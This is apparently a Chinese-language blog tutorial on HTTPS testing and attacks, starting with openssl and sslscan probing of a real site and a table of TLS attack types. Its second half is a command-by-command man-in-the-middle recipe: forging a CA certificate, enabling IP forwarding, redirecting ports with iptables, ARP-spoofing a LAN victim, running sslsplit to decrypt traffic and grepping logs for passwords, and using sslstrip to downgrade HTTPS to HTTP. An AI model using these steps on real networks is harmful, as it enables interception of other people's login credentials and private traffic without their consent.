免责声明:本文仅做分享!
目录
[https AK type](#https AK type)
[sslsplit 工具](#sslsplit 工具)
https探测
openssl
OpenSSL是一个安全套接字层密码库,囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议,并提供丰富的应用程序供测试或其它目的使用。
Openssl连接服务器获取基本信息
连接命令:
openssl s_client -connect www.xxx.com:443
指定算法连接:
openssl s_client -tls1_2 -cipher 'ECDHE-RSA-AES128-GCM-SHA256' -connect www.xxx.com:443
测试弱协议连接是否可以连接:
┌──(root㉿localhost)-[~]
└─# openssl ciphers -v "NULL,EXPORT,LOW,DES"
TLS_AES_256_GCM_SHA384 TLSv1.3 Kx=any Au=any Enc=AESGCM(256) Mac=AEAD
TLS_CHACHA20_POLY1305_SHA256 TLSv1.3 Kx=any Au=any Enc=CHACHA20/POLY1305(256) Mac=AEAD
TLS_AES_128_GCM_SHA256 TLSv1.3 Kx=any Au=any Enc=AESGCM(128) Mac=AEAD
ECDHE-ECDSA-NULL-SHA TLSv1 Kx=ECDH Au=ECDSA Enc=None Mac=SHA1
ECDHE-RSA-NULL-SHA TLSv1 Kx=ECDH Au=RSA Enc=None Mac=SHA1
AECDH-NULL-SHA TLSv1 Kx=ECDH Au=None Enc=None Mac=SHA1
NULL-SHA256 TLSv1.2 Kx=RSA Au=RSA Enc=None Mac=SHA256
ECDHE-PSK-NULL-SHA384 TLSv1 Kx=ECDHEPSK Au=PSK Enc=None Mac=SHA384
ECDHE-PSK-NULL-SHA256 TLSv1 Kx=ECDHEPSK Au=PSK Enc=None Mac=SHA256
ECDHE-PSK-NULL-SHA TLSv1 Kx=ECDHEPSK Au=PSK Enc=None Mac=SHA1
RSA-PSK-NULL-SHA384 TLSv1 Kx=RSAPSK Au=RSA Enc=None Mac=SHA384
RSA-PSK-NULL-SHA256 TLSv1 Kx=RSAPSK Au=RSA Enc=None Mac=SHA256
DHE-PSK-NULL-SHA384 TLSv1 Kx=DHEPSK Au=PSK Enc=None Mac=SHA384
DHE-PSK-NULL-SHA256 TLSv1 Kx=DHEPSK Au=PSK Enc=None Mac=SHA256
RSA-PSK-NULL-SHA SSLv3 Kx=RSAPSK Au=RSA Enc=None Mac=SHA1
DHE-PSK-NULL-SHA SSLv3 Kx=DHEPSK Au=PSK Enc=None Mac=SHA1
NULL-SHA SSLv3 Kx=RSA Au=RSA Enc=None Mac=SHA1
NULL-MD5 SSLv3 Kx=RSA Au=RSA Enc=None Mac=MD5
PSK-NULL-SHA384 TLSv1 Kx=PSK Au=PSK Enc=None Mac=SHA384
PSK-NULL-SHA256 TLSv1 Kx=PSK Au=PSK Enc=None Mac=SHA256
PSK-NULL-SHA SSLv3 Kx=PSK Au=PSK Enc=None Mac=SHA1
得到的内容包括:
1.证书链
2证书
3Cipher-Suite(安全算法)
4会话信息
┌──(root㉿localhost)-[~]
└─# openssl s_client www.baidu.com:443
Connecting to 110.242.68.3
CONNECTED(00000003)
depth=2 OU=GlobalSign Root CA - R3, O=GlobalSign, CN=GlobalSign
verify return:1
depth=1 C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018
verify return:1
depth=0 C=CN, ST=beijing, L=beijing, O=Beijing Baidu Netcom Science Technology Co., Ltd, CN=baidu.com
verify return:1
---
Certificate chain ###########证书链###############
0 s:C=CN, ST=beijing, L=beijing, O=Beijing Baidu Netcom Science Technology Co., Ltd, CN=baidu.com
i:C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018
a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
v:NotBefore: Jul 8 01:41:02 2024 GMT; NotAfter: Aug 9 01:41:01 2025 GMT
1 s:C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018
i:OU=GlobalSign Root CA - R3, O=GlobalSign, CN=GlobalSign
a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
v:NotBefore: Nov 21 00:00:00 2018 GMT; NotAfter: Nov 21 00:00:00 2028 GMT
2 s:OU=GlobalSign Root CA - R3, O=GlobalSign, CN=GlobalSign
i:C=BE, O=GlobalSign nv-sa, OU=Root CA, CN=GlobalSign Root CA
a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
v:NotBefore: Sep 19 00:00:00 2018 GMT; NotAfter: Jan 28 12:00:00 2028 GMT
---
Server certificate ######证书########
-----BEGIN CERTIFICATE-----
MIIJ7DCCCNSgAwIBAgIMTkADpl62gfh/S9jrMA0GCSqGSIb3DQEBCwUAMFAxCzAJ
BgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMSYwJAYDVQQDEx1H
bG9iYWxTaWduIFJTQSBPViBTU0wgQ0EgMjAxODAeFw0yNDA3MDgwMTQxMDJaFw0y
NTA4MDkwMTQxMDFaMIGAMQswCQYDVQQGEwJDTjEQMA4GA1UECBMHYmVpamluZzEQ
MA4GA1UEBxMHYmVpamluZzE5MDcGA1UEChMwQmVpamluZyBCYWlkdSBOZXRjb20g
U2NpZW5jZSBUZWNobm9sb2d5IENvLiwgTHRkMRIwEAYDVQQDEwliYWlkdS5jb20w
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC1wFMskJ2dseOqoHptNwot
FOhdBERsZ4VQnRNKXEEXMQEfgbNtScQ+C/Z+IpRAt1EObhYlifn74kt2nTsCQLng
jfQkRVBuO/6PNGKdlCYGBeGqAL7xR+LOyHnpH9mwCBJc+WVt2zYM9I1clpXCJa+I
tsq6qpb1AGoQxRDZ2n4K8Gd61wgNCPHDHc/Lk9NPJoUBMvYWvEe5lKhHsJtWtHe4
QC3y58Vi+r5R0PWn2hyTBr9fCo58p/stDiRqp9Irtmi95YhwkNkmgwpMB8RhcGoN
h+Uw5TkPZVj4AVaoPT1ED/GMKZev0+ypmp0+nmjVg2x7yUfLUfp3X7oBdI4TS2hv
AgMBAAGjggaTMIIGjzAOBgNVHQ8BAf8EBAMCBaAwDAYDVR0TAQH/BAIwADCBjgYI
KwYBBQUHAQEEgYEwfzBEBggrBgEFBQ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bMmtDE9ygIhAIpJd4yb7jtxnaEC8oLWDushbK1v
0BIuZu6YrQvsf1nQMA0GCSqGSIb3DQEBCwUAA4IBAQCh9DfewC012/+fHZpmSpCn
y+h3/+ClAZ8cJVO+LCmYz9r6bkyhcFquJ5qUpyoW8AYtU0oUFlqH6zLIyujW+7lq
wFxB6NsXKKdwBKmMbmnZr2Fca5f+TtwD/GDJgG/egr7fI1u8194j9KEl8cK8Fujm
+UsoWklEzd1It9xkLazJR/6SwbhSR4k610pvj8rQrS4wAewuYFDaDOfqsHtDIsx1
tZfIfoB/O1wGWZQJU2M9wC8uYq0jQ2Q0MQJXuyJz04MFiGrPAS1Uk8mWd8M+3p65
Xy4iAf8uWzs1M+fcwBE8BNBghkQgE+FSUsldm+5ZBCazU0joJswzldWisXMLTagI
-----END CERTIFICATE-----
subject=C=CN, ST=beijing, L=beijing, O=Beijing Baidu Netcom Science Technology Co., Ltd, CN=baidu.com
issuer=C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018
--- #########安全算法#########
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: ECDH, prime256v1, 256 bits
---
SSL handshake has read 5414 bytes and written 586 bytes
Verification: OK
---
New, TLSv1.2, Cipher is ECDHE-RSA-AES128-GCM-SHA256
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session: ############会话信息############
Protocol : TLSv1.2
Cipher : ECDHE-RSA-AES128-GCM-SHA256
Session-ID: C3DE19032169B078EA8451E76C755BDBB63667BA8CC84791169936F15F8108ED
Session-ID-ctx:
Master-Key: B7E6E9F69ECA343EE4DFC516504105129748858E4A411009D9A929254F0D27423E3D94A122F01B4FFCE841383938FC82
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket:
0000 - f4 89 30 9d 52 3d 65 42-67 d7 26 9a e8 98 bf 66 ..0.R=eBg.&....f
0010 - d8 b6 30 d7 8f 4e f9 a6-a5 05 06 dd 10 35 28 8f ..0..N.......5(.
0020 - 61 d5 b2 d6 a6 6c 1c d6-a1 1e 74 df aa 28 64 7a a....l....t..(dz
0030 - 0a 77 65 b0 e4 9d 7d 69-b0 0b 1f 74 14 3d 60 55 .we...}i...t.=`U
0040 - 13 c2 07 e5 0f bf 2a 1d-0e 91 6c 70 67 48 57 62 ......*...lpgHWb
0050 - a3 5a ed a6 83 94 72 a2-ab 0c a0 73 f4 f1 54 68 .Z....r....s..Th
0060 - d3 d6 93 63 32 b6 7f 92-4a de ac ad 2d e5 ad 21 ...c2...J...-..!
0070 - 8d 70 de 4e a3 95 01 c1-03 31 40 9b f9 e8 77 c8 .p.N.....1@...w.
0080 - ee b2 30 4b 05 2e 84 b8-81 2c fe ca 02 cd b8 ed ..0K.....,......
0090 - e0 11 c8 54 03 39 c9 59-08 8f 29 4d d0 dc b5 29 ...T.9.Y..)M...)
Start Time: 1722726526
Timeout : 7200 (sec)
Verify return code: 0 (ok)
Extended master secret: no
---
sslscan
sslscan --tlsall 域名:443
在线查询证书
测试,返回信息,安全性,
SSL Server Test (Powered by Qualys SSL Labs)
???....
https AK type
中间人攻击 | 在这些攻击中,黑客将自己置于用户和服务器之间,拦截通信。 它们可以窃听和修改它们之间传输的数据,获取登录凭证或财务细节等敏感信息。 |
降级攻击 | 此类攻击以 SSL 协议为目标,迫使通信使用过时的版本,如 SSL 3.0。 攻击者可以利用协议中的弱点,对加密流量进行解密。 |
SSL 剥离攻击 | 这些攻击利用 HTTPS 连接建立方式中的漏洞。 攻击者拦截用户与网络服务器之间的流量,并将连接降级为 HTTP。 由于用户和服务器之间传输的其他敏感数据没有像 HTTPS 连接那样加密,因此这种操作允许他们查看和操作这些数据。 |
SSL 重新协商攻击 | 网络犯罪分子利用客户端和服务器之间 SSL 流量重新协商的缺陷。 通过操纵这一过程,他们可以在通信中注入恶意代码或命令,从而可能破坏连接。 |
会话劫持攻击 | 在这些攻击中,攻击者会窃取用户或服务器的会话验证证书或私钥,从而冒充证书持有者。 这样,他们就能在任何一方都没有意识到自己受到威胁的情况下拦截和操纵传输。 |
SSL 注入攻击 | 这些漏洞涉及通过 SSL 流量在用户和服务器之间的通信中注入恶意代码或命令。 因此,黑客会在未经授权的情况下获取敏感信息。 |
漏洞 | |
中间人AK
2014 年的Darkhotel 攻击是中间人攻击的一个突出真实案例。 在这场复杂的网络间谍活动中,黑客潜入了政府官员和企业高管等高级别客人经常光顾的酒店 Wi-Fi 网络。
sslsplit 工具
透明SSL/TLS中间人攻击工具
对客户端伪装成服务器,对服务器
伪装成普通客户端伪装服务器需要伪造证书
支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击
操作
产生公钥:
openssl genrsa -out ag.key 2048
产生CA证书:
openssl req -new -x509 -days 365 -key ag.key -out ag.crt
--->
.key
.crt
激活路由转发:
echo 1 >/proc/sys/net/ipv4/ip_forward
查看规则:
iptables -L
查看 NAT 规则:
iptables -t nat -L
清空NAT规则:
iptables -t nat -F
确认80和443没有其他服务在侦听:
netstat -pantu | grep 80
netstat -pantu | grep 443
配置NAT规则:(配置完成后使用 iptables -t nat -L 查看策略)
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
格式介绍:
-t:指定表;
-APERROUTING:路由前生效;
-p:指定协议;
--dport:接受流量的端口;
-j:指定处理方法(REDIRECT重定向);
--to-ports:转发端口
开启arp欺骗:
工作组&局域网-ARP欺骗-攻击防御&单双向_内网arp双向欺骗-CSDN博客
arpspoof -i eth0 -t 192.168.49.133 -r 192.168.49.2
mkdir -p /home/kali/桌面/logdir
激活中间人:
sslsplit -D -l connect.log -j /home/kali/桌面/ -S /home/kali/桌面/logdir/ -k ag.key -c ag.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
访问--证书会报错---继续,-- 然后在上面的操作流量就会被监控。
grep pwd *
降级AK
2014 年,谷歌研究人员 Bodo Möller、Thai Duong 和 Krzysztof Kotowicz 发现了这个名为[POODLE 的漏洞](https://www.ssldragon.com/zh/blog/what-is-poodle-attack-ssl/)。 这次攻击的目标是 SSL 3.0 加密协议,当时网络服务器和浏览器仍广泛支持该协议。
https--->http
不用考虑证书的问题. (自己产生)
激活:由于sslstrip只能支持一个端口,所以需要把所有流量都引到8080
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080
iptables -t nat -L
arpspoof -i eth0 -t 192.168.49.133 -r 192.168.49.2
激活:
sslstrip -l 8080
--只有纯https加密的才行.
logex 解析工具:
tar -zxvf log_ex.py.tar.gz
./log_ex.py sslstrip.log -a -r
人家网站要不就是加密+组件加密 .
要不就是不加密 .
...